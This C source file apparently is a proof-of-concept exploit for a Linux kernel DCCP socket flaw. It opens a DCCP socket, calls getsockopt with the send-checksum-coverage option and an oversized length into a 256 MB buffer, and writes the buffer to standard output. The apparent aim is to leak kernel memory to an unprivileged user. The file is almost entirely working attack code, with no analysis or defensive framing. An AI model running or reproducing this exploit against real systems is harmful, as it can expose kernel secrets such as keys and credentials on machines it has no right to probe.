#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
	void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

	if (mem == (void*)-1) {
		printf("Alloc failed\n");
		return -1;
	}

	/* SOCK_DCCP, IPPROTO_DCCP */

	int s = socket(PF_INET, 6, 33);
	if (s == -1) {
		fprintf(stderr, "socket failure!\n");
		return 1;
	}

	/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
	int len = BUFSIZE;
	int x = getsockopt(s, 269, 11, mem, &len);

	if (x == -1)
		perror("SETSOCKOPT");
	else
		printf("SUCCESS\n");

	write(1, mem, BUFSIZE);
	return 0;
}